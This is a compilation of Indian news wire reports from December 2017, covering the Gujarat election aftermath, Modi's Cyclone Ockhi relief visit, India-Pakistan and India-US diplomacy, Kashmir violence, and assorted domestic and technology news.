After Modi's speech, the Central Parliamentary Board of the BJP met at the party headquarters in Delhi and decided to depute Finance Minister Arun Jaitley and General Secretary Saroj Pandey to Gujarat for holding consultations on choosing the new Chief Minister. For Himachal Pradesh, where the chief ministerial face Prem Kumar Dhumal suffered a defeat, Defence Minister Nirmala Sitharaman and Rural Development Minister Narendra Tomar are being sent to decide on a new leader.

While the BJP celebrated all across Gujarat and in Delhi, the 99-seat tally in Gujarat was far less than the 150 seat target set by BJP President Amit Shah and 16 less than what it got in 2012 despite intense campaigning by Modi.

The Congress, whose campaign was spearheaded by its now president Rahul Gandhi, conceded defeat but took a veiled jibe at the BJP.

"My Congress brothers and sisters, you have made me very proud. You are different than those you fought because you fought anger with dignity. You have demonstrated... the Congress' greatest strength is its decency and courage," Gandhi tweeted.

The BJP's overall vote share in the state plunged from 60.11 percent notched in the 2014 Lok Sabha polls to 49.1 percent, indicating a sharp erosion in its support base in a state which the party considers its fortress.

The vote share of the Congress, which joined hands with Patidar leader Hardik Patel, Dalit leader Jignesh Mevani and OBC leader Alpesh Thakore, soared from 33.45 percent of 2014 to 41.4 percent.

With Himachal in its kitty now, the BJP has 14 states where it has its chief ministers and rules with coalition partners in five others.

Congress is now left with power in just four states - Punjab, Karnataka, Meghalaya and Mizoram and the Union Territory of Puducherry.

BJP's estranged ally Shiv Sena took a jibe at the former saying though the party had won, its Gujarat Model was shaken.

(With Agency inputs)
Kanyakumari: Prime Minister Narendra Modi on Tuesday announced financial assistance worth Rs 325 crore to Kerala, Tamil Nadu and Lakshadweep for relief work in the aftermath of cyclone Ockhi.

The financial assistance is over and above the assistance of Rs 280 crore to Tamil Nadu, and Rs. 76 crore to Kerala disbursed earlier in December 2017, a statement by the PMO said.

The government will also support the reconstruction of approximately 1400 houses fully damaged due to the cyclone, on priority, under the Pradhan Mantri Awas Yojana (PMAY). Under this programme, each beneficiary will get upto Rs 1.5 lakh as support for building a new house.

An ex-gratia assistance of Rs 2 lakh to the next of kin of the deceased, and Rs. 50,000 to each of those seriously injured due to the cyclone have been sanctioned under the Prime Ministers National Relief Fund (PMNRF).

The PM Modi flew to Lakshadweep on Tuesday morning and then flew to Kerala, where Chief Minister Pinarayi Vijayan received him. After that PM took a helicopter to go to Kanyakumari in Tamil Nadu.

He visited coastal villages in Tamil Nadu that were devastated by the cyclone. He also met representatives of fishermen from Kanyakumari.

Chief Minister K Palaniswami submitted a memorandum to PM Modi listing out the state's needs for rehabilitation of the cyclone-affected district.

Prime Minister, Shri @narendramodi chairing the High Level meeting to review the situation that has arisen due to Cyclone Ockhi, in Kanyakumari, Tamil Nadu pic.twitter.com/1jsFXO1RPL  MIB India (@MIB_India) December 19, 2017

Prime Minister, Shri @narendramodi meeting the group of farmers who are victims of Cyclone #Ockhi , in Kanyakumari, Tamil Nadu pic.twitter.com/XcxsTPLxFK  MIB India (@MIB_India) December 19, 2017

"Due to cyclone Ockhi, our farmers, fishermen and villages have been affected. When the cyclone struck, Defence Minister Nirmala Sitharaman had visited affected areas and taken stock of the situation," the PM said.

He added, "Centre is providing all possible assistance. Navy and Coast Guard are monitoring the situation. Some of our people are stranded in foreign nations. The MEA and various embassies are working to bring them back. Some people also got stranded on parts of India's western coast. We have rescued many of them."

The PM further said, "I am here to assure you that India stands shoulder to shoulder with all those affected by the cyclone. We will leave no stone unturned in the rescue and relief operations."



Earlier, the PM met people hit by the cyclone in Lakshadweep islands after reviewing the situation at a high-level meeting at the union territory's capital Kavaratti.

Kavaratti is situated roughly 400 km west of Kochi coast. PM Modi also interacted with a group of school children in Kavaratti.

PM @narendramodi reviewed the situation arising due to #CycloneOckhi at a high level meeting in Lakshadweep. pic.twitter.com/vLngkLs9Zb December 19, 2017

Prime Minister, Shri @narendramodi meets the victims of Cyclone Ockhi, in Kavaratti, Lakshadweep pic.twitter.com/CfdlcnyigD  MIB India (@MIB_India) December 19, 2017

Earlier today, youngsters of Lakshadweep extended a warm welcome to PM @narendramodi. pic.twitter.com/bVcVDcOU75  PMO India (@PMOIndia) December 19, 2017

He had yesterday tweeted saying the Centre has been monitoring the situation round the clock and ensuring proper rescue and relief operations since cyclone Ockhi struck.

Meanwhile, a PMO statement yesterday said the Centre released the second instalment from the State Disaster Relief Fund (SDRF) for Kerala and Tamil Nadu to supplement the efforts of these states in dealing with the situation. "During the financial year 2017-18, the amounts of the central share of the SDRF to the governments of Kerala and Tamil Nadu were Rs 153 crore and Rs 561 crore respectively," it had said.

Parts of southern Kerala and Tamil Nadu and Lakshadweep were battered by the cyclone that formed in the Bay of Bengal on November 30, 2017, and later moved to the Arabian Sea.

(With Agency inputs)
As many as 330 recruits duly joined army in an impressive parade at the Madras Regimental Center (MRC) in Chennai, Tamil Nadu. They joined the oldest regiment of the army following a 46-week training.

They had taken the training at Wellington in neighbouring Nilgiris District.

About 330 recruits duly joined Army in an impressive parade at Madras Regimental Center, Tamil Nadu.#AIRPics: Jaya Singh pic.twitter.com/Y5X7UjNgfA  All India Radio News (@airnewsalerts) December 19, 2017

The young soldiers took part in a passing out parade at the historic Shrinagesh Barracks at Wellington, an official release said.

"After 46 weeks of tough training, the recruits could see their dreams come true when they wore the olive green and marched past the largest enclosed drill square in Asia," it said.

The parade was reviewed by General Officer Commanding, Dakshin Bharat Area Lt General R K Anand.

He appreciated instructors and staff for achieving a very high standard of drill in the Attestation Parade.

Lauding the efforts of MRC to improve the standard of training to such a high level, Lt Gen Anand congratulated the parents of the young soldiers in this moment of pride and glory, it said.
New Delhi: India on Tuesday said it will take up with Islamabad reports that some members of the Sikh community were forcibly being converted to Islam in Pakistan.



"We will take this up at the highest level with the government of Pakistan," External Affairs Minister Sushma Swaraj tweeted.

We will take this up at the highest level with Government of Pakistan. @IndiainPakistan

Sikh community in Hangu being forced to convert https://t.co/HiWuVmBzbj  Sushma Swaraj (@SushmaSwaraj) December 19, 2017

According to a Pakistani media report, members of the Sikh community in Hangu district of Khyber-Pakhtunkhwa province told deputy commissioner Shahid Mehmood that assistant commissioner Tehsil Tall Yaqoob Khan was allegedly forcing Sikhs to embrace Islam.



Farid Chand Singh, who filed the complaint, was quoted as saying that community members were living in the area since 1901 and peacefully with Muslims. He said residents of Hangu district had never harmed the Sikh people.

Meanwhile, Punjab Chief Minister Amarinder Singh on Tuesday urged Swaraj to take up with Pakistani authorities the issue of Sikhs.

Request @SushmaSwaraj ji to take up this issue with Pakistan. We cannot allow the Sikh community to be victimised in such a manner. Its our duty to help protect the Sikh identity and the @MEAIndia should pursue the matter at the highest levels.https://t.co/sRFjV1pk5Q  Capt.Amarinder Singh (@capt_amarinder) December 19, 2017

Expressing concern, he said the Indian government was duty-bound to ensure that Sikhs in any part of the world are not victimised or coerced in any manner.

Amarinder added that it was a serious issue, especially considering that the forced conversions were allegedly being spearheaded by a Pakistani government official.



"It is the responsibility of the Indian authorities to intervene in the matter and ensure that the said coercion is brought to an end. We are duty-bound to protect the identity of Sikhs, wherever they may be living," he said.

(With IANS inputs)
New Delhi: Even as China continued to block the listing of Pakistan-based Jaish-e-Mohammad chief Masood Azhar in the UN-designated list of international terrorists, India and the US discussed procedures for pursuing designations against terrorist groups and individuals through domestic and international mechanisms.



The discussion came up at the inaugural India-US Designations Dialogue that was held here on Monday and Tuesday.



An identical statement issued by both the governments said the dialogue was to discuss increasing bilateral cooperation on terrorism-related designations.



"The establishment of this mechanism reflects shared Indian and US commitments to strengthen cooperation against terrorist threats," it said.



"The Indian and US delegations exchanged information on procedures for pursuing designations against terrorist groups and individuals, through domestic and international mechanisms. They also discussed best practices for effective implementation of the designations."



The statement said Washington would host the second India-US Designations Dialogue next year.



The meeting assumes significance after China said last month that due to the lack of consensus at the UN Security Council committee, the application seeking a ban on Azhar has been rejected.



Beijing has for the second time vetoed the proposal which was first moved by India at the Al Qaeda Sanctions Committee of the UN Security Council in March last year.



It did the same to a US proposal backed by France and Britain, first blocking it in January and then put a technical hold for three months in August. A new resolution will have to be moved now.



The statement is also important in the context of the US designating Lashkar-e-Taiba (LeT) chief Hafiz Saeed and Zaki-ur-Rehman Lakhvi as the masterminds of the 26/11 Mumbai terror attack.



Saeed, who carries a $10 million US bounty for his role in terrorist activities, was let go last month by Pakistani authorities in Lahore after a court refused to extend his house arrest citing lack of evidence. He had been under house arrest since January 30.



Over 160 people were killed and over 300 injured when the LeT militants launched a series of attacks on India's commercial capital in November 2008.



Tuesday's statement gave rise to speculation that the two countries could be looking at designating and issuing sanctions against more people involved in terror-related activities in the region.


Hyderabad: United States President Donald Trump's daughter Ivanka Trump has thanked Telangana Chief Minister K Chandrashekhar Rao for his warm hospitality during her Hyderabad visit last month.

Ivanka, who is also an advisor to President Trump, in a letter penned down by her to Chandrasekhar Rao, thanked him for the `exquisite gift` which he had presented to her at the Falaknuma Palace of Hyderabad.

The chief minister had reportedly presented her a memento of Charminar in filigree works crafted by the artisans of Karimnagar district. "I am deeply touched by your thoughtful gesture and by the warmth of the people of Telangana. I look forward to returning to India in the near future," she wrote.

Ivanka had visited India to attend the Global Entrepreneurship Summit (GES) last month. She also visited the iconic Golconda Fort during her visit.

The spokesperson for the United States Department of State, Heather Nauert, had said that a Global Entrepreneurship Summit (GES) held in India was a "tremendous success".


KOLKATA: Former Calcutta High Court judge Justice CS Karnan, guilty of contempt of court, is set to be released on Wednesday.

He will be set free from the Presidency Jail in Kolkata.

On June 20, Karnan was arrested from a guest house in Tamil Nadu's Coimbatore by the West Bengal Police.

Justice Karnan was arrested following the Supreme Court order that sentenced him to six months imprisonment for contempt.

Karnan on June 22, moved the Supreme Court seeking bail and suspension of six-month sentence awarded to him in May.

The SC, however, refused to entertain Karnan's bail plea.

A vacation bench of Justice DY Chandrachud and Justice Sanjay Kishan Kaul also said, "We can't suspend the sentence as the order of the sentence was passed by a seven-judge bench."

"Sorry, nevertheless," Justice Chandrachud said, declining the bail plea.

The bench said this as Justice Karnan's counsel Mathew J Nadumpara urged it to grant bail to the former judge.

Nedumpara said that this court had all the powers and should grant the interim bail till the reopening of the court.

To this, the vacation bench said it could not override the order of the seven-judge bench.

The former judge was earlier taken to Kolkata by flight from Chennai early morning.

Karnan, who was eluding arrest for more than a month, retired from service earlier in June.

The SC's seven-judge bench had held him guilty of contempt of court for his comments against the Chief Justice of India and other judges of the higher judiciary.
Islamabad: Hours before US President Donald Trump asked Pakistan to take "decisive action" against terror groups, the country's security head Nasser Khan Janjua possibility of a nuclear war cannot be ruled out in South Asia.

"The stability of the South Asian region hangs in a delicate balance, and the possibility of nuclear war cannot be ruled out," said Janjua, the National Security Advisor Lt Gen (retd.) of Pakistan while addressing a seminar organised by the Centre for Global and Strategic Studies (CGSS), a think tank recently established by Lt Gen (retd) Zaheerul Islam, the Inter-Service Intelligence (ISI) former chief, reported the Express Tribune.

India is being given priority over Pakistan in Afghanistan, something that will shape the political and strategic dynamics of the war-torn country, he.

He further accused the US of conspiring against the multi-billion China-Pakistan Economic Corridor (CPEC) with India.

"The US has given India role in Afghanistan's political process, giving New Delhi priority over Islamabad, and has opposed the CPEC."

Janjua further claimed that India has been stockpiling a range of dangerous weapons.

Announcing its first public policy on Monday, the Trump administration asked Pakistan to assure that its nuclear arsenal is completely safe.

"The United States will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets, reads the policy released by the White House. "The prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange remains a key concern requiring consistent diplomatic attention."
Thiruvananthapuram: Prime Minister Narendra Modi on Tuesday chaired a review meeting in Lakshadweep and took stock of the situation in the aftermath of devastating Cyclone Ockhi that recently hit the coastal states of Tamil Nadu and Kerala, leaving many people dead and several missing, shortly after arriving here from Mangalore.

The review meeting was attended several officials of the state and the central government and the top representatives of various agencies involved in the relief and rescue work.

Lakshadweep: Prime Minister Narendra Modi chairs a review meeting on the aftermath of #CycloneOckhi pic.twitter.com/gIVfqrJ2bg  ANI (@ANI) December 19, 2017

The PM also met families of victims affected by Cyclone Ockhi in Lakshadweep's Kavaratti.

Prime Minister Narendra Modi met families of victims affected by #CycloneOckhi in #Lakshadweep's Kavaratti pic.twitter.com/Nbgb1Cne1N  ANI (@ANI) December 19, 2017

The PM was earlier greeted by school students on his arrival in Lakshadweep's Kavaratti.

School students greeted Prime Minister Narendra Modi on his arrival in #Lakshadweep's Kavaratti (Earlier visuals) pic.twitter.com/HiAhREjTKu  ANI (@ANI) December 19, 2017

Prime Minister Narendra Modi was received by Kerala Chief Minister Pinarayi Vijayan upon reaching in Trivandrum. From here, he left for Tamil Nadu where he was received by Governor Banwarilal Purohit and Chief Minister Edappadi K Palaniswami in Kanyakumari.

Prime Minister Narendra Modi received by TN Governor Banwarilal Purohit and Chief Minister Edappadi K. Palaniswami in Kanyakumari. PM Modi to visit #CycloneOckhi affected areas. pic.twitter.com/IIW74Lq7ii  ANI (@ANI) December 19, 2017

After arriving in Mangalore yesterday, Prime Minister Narendra Modi had this morning left for Lakshadweep in an Army chopper to visit areas affected by the Cyclone Ockhi and to review the relief and rescue operations being carried out by various agencies.

ANI tweeted a picture of PM Modi leaving for Lakshadweep this morning.

Mangalore (Karnataka): Prime Minister Narendra Modi leaves for Lakshadweep to visit #CycloneOckhi affected areas pic.twitter.com/EKwdVHrn3I  ANI (@ANI) December 19, 2017

Prime Minister Narendra Modi had arrived in Mangalore late on Monday night to take stock of the situation left behind by Cyclone Ockhi in the most affected areas today.

"Leaving for Mangaluru, Karnataka. Tomorrow, I will visit Lakshadweep, Tamil Nadu, and Kerala and extensively review the situation that has arisen due to #CycloneOckhi. I will meet cyclone victims, fishermen, farmers, officials and public representatives," the Prime Minister tweeted last night.

Leaving for Mangaluru, Karnataka. Tomorrow, I will visit Lakshadweep, Tamil Nadu, and Kerala and extensively review the situation that has arisen due to #CycloneOckhi. I will meet cyclone victims, fishermen, farmers, officials and public representatives. https://t.co/XaANfnWrr4  Narendra Modi (@narendramodi) December 18, 2017

He added that the Centre is trying every possible measure to monitor the situation and ensure rescue operations.

"Since #CycloneOckhi struck, Centre has been monitoring the situation round the clock and ensuring proper rescue and relief operations. We have been working closely with the Governments of the affected states. We stand shoulder to shoulder with all those affected by the cyclone," the tweet read.

Since #CycloneOckhi struck, Centre has been monitoring the situation round the clock and ensuring proper rescue and relief operations. We have been working closely with the Governments of the affected states. We stand shoulder to shoulder with all those affected by the cyclone.  Narendra Modi (@narendramodi) December 18, 2017

On his arrival yesterday, a large number of his supporters gathered at the airport and were seen shouting ''Modi, Modi.''

#WATCH: Supporters chanted 'Modi Modi' as the Prime Minister arrived in #Karnataka's Mangalore, late last night. pic.twitter.com/IBpSoMvkc7  ANI (@ANI) December 19, 2017

Archbishop of the Latin Rite Archdiocese of Trivandrum, Soosa Pakiam had expressed contentment on Prime Minister Modi's decision to visit Cyclone Ockhi-affected areas and hoped for beneficial measures for fishermen.

According to reports, the Prime Minister will also review the status of relief operations at Kavaratti, Kanyakumari and Thiruvananthapuram.

He will also meet officials and public representatives, and victims, including fishermen and farmer delegations.

The cyclone has left a trail of destruction in southern and western India, Sri Lanka and the Maldives, killing 115 people and leaving over 100 missing.

Congress president Rahul Gandhi had earlier written a letter to Prime Minister Modi, requesting to declare a comprehensive special financial package for the states of Kerala, Tamil Nadu and Lakshwadeep to undertake rehabilitation in the wake of the cyclone.

In his first letter as the Congress chief to the Prime Minister, he requested PM Modi to help put in place adequate measures for strengthening the weather update system and advance cyclone warning communication mechanism in the coastal areas.

Highlighting the suffering of cyclone-hit fishermen, Rahul said the cyclone has caused tremendous damage to their lives and livelihood.

More than 600 fishermen from Tamil Nadu and Kerala continued to remain missing days after Cyclone Ockhi rampaged through parts of south and western India, a Home Ministry official recently said.

As many as 433 fishermen from Tamil Nadu and 186 from Kerala were yet to be traced, the official said.

(With ANI inputs)
By PTI: Panaji, Dec 19 (PTI) The Goa government has decided to ban plastic bags in the coastal state from May next year, Chief Minister Manohar Parrikar said today.

He said the government also aims to make the state free of garbage by December 19 next year, for which the required steps are being taken.

"From May 30 next year, there will be a complete ban on plastic in the state. We are making this announcement in advance so that all those who have made it as their economic activity should not complain at the last minute," he said.

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The ban would include plastic bags and also some other items, Parrikar said.

He was speaking at a function to mark the Goa Liberation Day. The state was liberated on this day in 1961 from the Portuguese rule.

Parrikar said that Swachh Bharat and Nitol Goem (Clean Goa) are on top of the governments list of priorities.

The initiative to make Goa free of garbage has already begun. The Solid Waste Management Corporation has been set up and a garbage treatment plant has been installed at Saligao, he said.

The laws required to make Goa free of garbage would be notified by January 26 next year, he said.

To empower the panchayats to take up work of garbage collection, the government has also approved to increase the grants for these grassroot-level bodies, the CM said.

Claiming that the states economy is also dependent on cleanliness, Parrikar said, "If we keep our surroundings and beaches clean, more tourists will visiting the state."

Raising concern over the number of deaths in road accidents, the chief minister blamed it on lack of discipline while driving, error in road engineering and dearth of fear of being caught while violating the traffic rules.

"We have decided to chalk out a roadmap to curtail the number of accidents on roads with the help of NGOs," he said.

He said the target is zero-accidents and no death on roads. "But that it impractical so the aim is to reduce the number by half in the next two years," the CM said.

Parrikar also said that infrastructural works worth Rs 25,000-30,000 crore would be implemented in the state during the next five years, including the construction of bridges across Mandovi and Zuari rivers. PTI RPS GK BAS

--- ENDS ---
Patna: Janata Dal (United), Bharatiya Janata Party's partner in Bihar, on Tuesday advised the Narendra Modi government to focus on issues related to farmers.



As per a News 18 report, Sanjay Jha, the JDU general secretary said that PM Modi should focus on his promise to double farmers' income by 2022.

Another JDU leader, KC Tyagi, was also quoted as saying that the government should extend sops to the rural sector.

Earlier, the Shiv Sena on Tuesday launched a stinging attack on its ally BJP in Maharashtra, saying "the much-touted Gujarat model has shaken" and the poll outcome in the state was a "warning bell" to those who believe in an autocratic rule.

The Sena said Congress president Rahul Gandhi and Patidar leader Hardik Patel had been ridiculed as "monkeys" but "these 'monkeys' have slapped the 'lion'".

The Sena attack on the BJP came in an editorial in its mouthpiece 'Saamana', a day after the BJP retained power in Gujarat with a reduced tally of 99 seats against 115 last time.

The Congress increased its tally from 61 seats last time to 77 this time.

The Sena said the BJP had "barely managed to pass" the electoral exam but was pretending to have passed with distinction. The BJP won Gujarat and Himachal, but the Congress also did not lose, the editorial said.

"The dream of a 'Congress-Mukt Bharat' (Congress-free India) remained unfulfilled," the Shiv Sena said. "Even Prime Minister Narendra Modi had to play the Gujarati pride card (to win these elections)," it added.

This election result in Gujarat is a "warning bell for those who believe in an autocratic rule", the Sena said.

(With PTI inputs)
New Delhi: Road, Transport and Highways Minister Nitin Gadkari on Tuesday said road construction would further gather momentum with average addition of 40 km per day from next year.

"When we (government) took over, the average road construction was 2 km per day which has now been accelerated to 28 km per day. It will further go up to 40 km per day next year," he said while replying to debate on the Bill to amend Central Road Fund (CRF) Act 2000.

The Act regulates the CRF, that is credited with the cess collected on diesel and petrol. The amount collected is then released to National Highways Authority of India, and to the state/union territory for the development of national and state highways.

The amendment bill passed by the Lok Sabha today seeks to allocate a share of this cess towards the development of inland waterways.

Emphasising that there is huge requirement of funds for infrastructure development, Gadkari said the government intends to develop 12-15 inland waterways in the next two years with the help and support of all stakeholders.

Twelve major ports with combined profit of Rs 7,000 crore have been asked to invest a portion of their profit for development of waterways.

Talking about various initiatives taken by the government to develop inland waterways in the country, he said, "Our first priority is waterways, second railways and third roads."

Work has already started on 10 waterways and tenders have been issued, he said, adding these would be operational by the end of 2018.

Terming waterways as the cheapest mode of transportation, he said there are 111 national waterways in the country which can be used for the purpose.

Like airports, the country would soon be dotted with sea ports, he said.

"If you have to go to Patna then next time...You will not have to go to airport. Your aircraft will fly from Yamuna front and will stop at the river in Patna...Such a revolutionary change is there in this," he said, adding, many years ago the trade used to happen on the river but slowly it stopped.

He announced that Mumbai to Goa cruise would start from next month and there is also plan to start cruise from Mumbai to Andaman and Nicobar.

On the Rs 60,000 crore Polavaram project of Andhra Pradesh, the minister promised that this will be completed by 2019.

It is resolve of the government to end all inter-state water dispute in its tenure itself by making available enough water to all states, he added.

Participating in the debate, Rajiv Pratap Rudy of the BJP said that through this bill tourism will be developed.

Saugata Roy (TMC) said Gadkari is a salesman of dreams.

"Gadkariji should present a white paper in the House as to which are the road ... Been built. He is showing dreams to people. In India the condition of highways is not good."

The minister in his reply said he does not indulge in selling dreams but make efforts towards converting dreams into reality.

The present bill seeks to allocate two and a half per cent of the CRF generated to accelerate the development and maintenance of national waterways by reduction of an equal percentage from the share of national highways.

This would tentatively generate about Rs 2,300 crore revenue for national waterways.

"This has paved the way for better regulation and development of the national waterways in the country. However, infrastructure such as jetties, terminals, navigational channels, etc. For better shipping and commercial navigation continues to be a challenge," Gadkari said.

In order to suitably develop national waterways, sustainable source of funding is highly necessary as budgetary support and funds from multilateral institutions are inadequate, he said.

Other members who participated in the debate included Kushlendra Kumar (JDU), Rajesh Rajan (RJD), Idrish Ali (TMC) and Varaprasad Rao (YSRC).
New York: President Donald Trump has unveiled his "America First National Security Strategy" giving India a "leadership role" in the "broader" Indo-Pacific region and taking a hardline on China and Russia, provoking strong reactions from Beijing and Moscow.



The security plan released on Monday said: "We will deepen our strategic partnership with India and support its leadership role in Indian Ocean security and throughout the broader region."



Washington also pledged to increase quadrilateral cooperation with Japan, Australia and India.



"We welcome India's emergence as a leading global power and stronger strategic and defence partner. We will seek to increase quadrilateral cooperation with Japan, Australia and India."



Trump's security strategy also stated that the US would continue to push Pakistan to speed up its counter-terrorism efforts.



"We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.



"The US will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets."



In a year-end, campaign-style speech in central Washington, the President warned of rising threats from an emboldened Russia and China.



He called Moscow and Beijing "revisionist powers" who "want to shape a world antithetical to US values and interests, attempting to erode American security and prosperity".



"They are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence." But, he said, the US must attempt to build a "great partnership with them".



Trump stopped short of calling out Moscow for its election meddling.



He said intellectual property theft would be targeted, a clear warning to China which American companies have complained about for years. "We will no longer tolerate trading abuse."



Beijing slammed Washington and asked it to "abandon its Cold War mentality and zero-sum game concept". Foreign Ministry spokeswoman Hua Chunying warned Washington that failure to do so "would only harm itself as well as others".



The Kremlin said Trump's security sounded "imperalist" and said the "mentions of Russia demonstrated the imperial nature of the document" and showed "an aversion to a multi-polar world".



The new policy also mentioned North Korea and Iran as "rogue governments".



Trump described "four pillars" to his new plan: protecting the homeland, promoting American prosperity, demonstrating peace through strength and advancing American influence.



The 68-page document, which White House officials began work on 11 months ago, suggested a return to Trump's campaign promise of "America First". "A nation that does not protect prosperity at home cannot protect its interests abroad," he said.



Trump emphasised that the US had been cheated and taken advantage of abroad while its citizens were ill-served at home -- a situation he said his security plan would seek to reverse.



In his speech, Trump referred to his election victory, saying that in 2016 voters chose to "Make America Great Again". He boasted about his achievements and reiterated that Americans have been left behind as a result of decisions made by past administrations, including on immigration, the Iran nuclear deal and trade pacts.



"Now less than one year later I am proud to report that the entire world has heard the news and has seen the signs," he said. "America is coming back and America is coming back strong."



He said that past administrations didn't now how to cut trade deals.



"Our leaders in Washington negotiated disastrous trade deals that brought massive profits to many foreign nations but sent thousands of American factories and millions of American jobs to those other countries."



He outlined his campaign promise to build a wall on the border with Mexico as well as reform the immigration visa system.



The new policy stressed economic security but did not recognise climate change as a national security threat.


New Delhi: Following is today's legislative business for the two Houses of Parliament:

Lok Sabha:

Bills for consideration and passing:

The Repealing and Amending Bill.

The Repealing and Amending (Second) Bill;

The Central Road Fund (Amendment) Bill.

The Requisitioning and Acquisition of Immovable Property (Amendment) Bill.

Rajya Sabha:

Bill for consideration and passing:

The Companies (Amendment) Bill.

The Indian Institutes of Management Bill.

The Indian Institute of Petroleum and Energy Bill.


NEW DELHI: Incidents of terror attacks have decreased in Jammu and Kashmir and other parts of the country in 2017, and four reasons have played a key role, the Union Ministry of Home Affairs said on Tuesday.

The factors are demonetisation, NIA investigation, killing of top terrorists and the efforts by Kashmir interlocutor Dineshwar Sharma, it said.

The revelation comes after the year saw a spike in killings of wanted terrorists by security forces in the Valley and concerted efforts to repel infiltration bids at the border. Several top-ranking LeT and JeM terrorists like Abu Dujana, Wasim Shah and Shahid Showkat were gunned down in encounters.

The Centre had also appointed a new interlocutor, former IB chief Dineshwar Sharma to reach out to the separatists and the youth to kickstart a dialogue. After his appointment, Sharma has made at least three visits to the state. However, the Hurriyat Conference and other separatist leaders are yet to join the dialogue process.

Efforts have been made by Sharma to reach out to different stakeholders. We will work in a coordinated manner to ensure that peace is restored in the valley, a senior central government official had said, requesting anonymity. Citing a defence analyst, PTI said, Once the dialogue process concludes, the PM must make a concrete offer to the people of J&K..

This year, as many as 318 people, including 203 terrorists and 75 security personnel, were killed in terror-related incidents in Jammu and Kashmir. In the northeast, 97 people, including 51 insurgents and 12 security personnel, were killed in insurgency-related incidents, Minister of State for Home Hansraj Ahir said during Question Hour on Tuesday.

While there have been two attacks each in 2014 and 2015 on defence establishments, six attacks took place in 2016. This year upto December 10, one defence establishment came under attack, he added.
Srinagar: A 24-year-old woman was killed while nine persons sustained injuries following clashes that erupted after armed forces killed two terrorists at Batmuran village of South Kashmir's Shopian district on Tuesday.

According to reports, local residents made public announcements through mosques, asking people to come out and stage protests.

The woman, Rubi Jan Alias Beauty, sustained bullet wounds in her abdomen. She was immediately rushed to nearby hospital. However, doctors declared her brought dead on arrival.

Nine more persons were injured during the clashes near the encounter site.

Earlier today, two militants, hiding in a residential house, were killed during an encounter. A third terrorist, also hiding in the house, started firing at the forces and managed to escape. AK rifles were recovered from the encounter site.

The clashes erupted between protesters and forces after a cordon-and-search-operation was launched.

A joint team of 44RR and Special Operations Group (SOG) cordoned off Batmurran hamlet of Wanpora following intelligence input about presence of militants, reports said.



The police and paramilitary forces used tear smoke shells to disperse the protesters.
Kannur: A Rashtriya Swayamsevak Sangh (RSS) worker was attacked on Tuesday by a group of unidentified men at Kathiroor in Kerala's Kannur district.

RSS Ponnyam Mandal Karyavah Praveen was attacked by a gang wearing masks when he was riding a bike.

The RSS worker was admitted to the hospital in a critical condition in Kozhikode, ANI reported. He's currently undergoing treatment.

Last month, four RSS workers were attacked in Kerala's Kannur district, as per reports.

In October, a RSS activist was injured, while bombs were hurled at a BJP party office.

In November 2017, a RSS worker was killed in Thrissur in Kerala. The 23-year-old victim identified as Anandan was riding a motorcycle when he was attacked by men who were in a car.

He was rushed to hospital but succumbed to his injuries. Anandan, hailing from Brahmakulam, was an accused in a case related to the murder of a CPI(M) worker in 2013.

The Bharatiya Janata Party (BJP) has been accusing the Left government in Kerala of political killings. They had also held a rally 'jan raksha yatra' in Thiruvananthapuram recently to protest against alleged political killings in the state.

The CPI(M) has, in turn, has accused BJP and RSS of resorting to violence and denied the involvement of its government and leadership in political killings.

(With Agency inputs)
A 20-year-old woman from Jharkhand, who went to Kolkata to pursue training to become air hostess, has gone missing under mysterious circumstances. She went missing from her paying guest accommodation on December 10 and there has been no clue about her whereabout since then.

According to Prabhat Khabar, Sushmita Roy, who hails from Gopalpur in Ghatshila near Jamshedpur, was crying inconsolably in her PG on the night of December 10. Her friends said that she had even packed her bag to return home.

However, she received a call on her mobile phone and walked out of her room while talking, leaving all her belongings. When she did not return till the next day, her friends informed her brother, who rushed to Kolkata.

Sushmitas brother informed the Kalighat police station about his sister going missing. After initial investigation, Sushmitas father Johar Roy filed a police complaint against six persons, accusing them of kidnapping his daughter.

He feels that the woman has been trapped in some conspiracy.

Police said that they have traced the mobile number from which she received the call on the fateful night, but the phone has been switched off.

The woman was pursuing air-hostess training at a centre in Minto Park in south Kolkata.
Seoul: South Korean tech giant Samsung unveiled its new Galaxy A series  Galaxy A8 (2018) and Galaxy A8+ (2018) with Infinity Display.

The smartphones will be available in early January, with pricing and availability to vary by markets worldwide.

The smartphones come with 16MP F1.7 rear camera and 16MP+8MP F1.9 dual front camera coupled with advanced Live Focus feature.

The Infinity Display goes beyond the bezel with an immersive 18.5:9 display ratio1. The large screen is supported with ergonomic curved glass on the back and front.

The Galaxy A8(2018) and A8+(2018) are available in four colors including black, orchid grey, gold and blue to suit your personal style2.

Offering IP68 water and dust resistance4, the Galaxy A8(2018) and A8+(2018) can withstand sweat, rain, sand and dust.

The "Galaxy A8" will be available with 4GB RAM and 32GB or 64GB internal storage with a 3,000mAh battery.

The "Galaxy A8+" will come with 4GB or 6GB RAM and 32GB or 64GB storage options with a 3,500mAh battery.

The 6GB RAM variant of "A8+" could be exclusive to China and a few other Asian markets.

Other features include support for Samsung Pay  a mobile payment and digital wallet service (with MST).
Mumbai: The authorities have arrested a man in connection with the devastating fire that broke out at a shop on Khairani road here on Monday.

At least 12 people were killed and four others were critically injured in the incident.

The fire broke out at Khairani road's confectionery maker Bhanu Farsan's shop.

The blaze erupted in the shop at Makaria Compound on Khairani Road around 4.25 am following which the structure collapsed, an official of the Brihanmumbai Municipal Corporation's disaster management cell said.

Senior Sub-inspector at Sakinaka Police station A Dharmadhikari said that least 25 fire tenders have been rushed to the spot to douse the fire.

The situation was soon brought under control, he said later.

People sleeping inside the shop got trapped inside while those sleeping outside escaped unhurt, police said.

The 12 victims were rushed to a hospital where doctors declared them dead before admission.

The exact cause of the fire was yet to be ascertained, he added.

The authorities also launched a probe to investigate into the matter.

In another incident, a major fire broke out in a chemical unit in Turbhe node of neighbouring Navi Mumbai last evening.

The blaze started at the unit, located in TTC area, at around 5 PM.

At least six fire tenders have been rushed to the spot to douse the fire, the official said without elaborating.

(With ANI inputs)
By PTI: New Delhi, Del 18 (PTI) The living conditions of Tibetan and Sri Lankan Tamil refugees would be improved with Home Minister Rajnath Singh directing officials to take steps for it, the home ministry said today.

The rehabilitation issues of Sri Lankan Tamilians staying in 107 camps and Tibetan refugees were reviewed at a high level meeting chaired by the home minister.

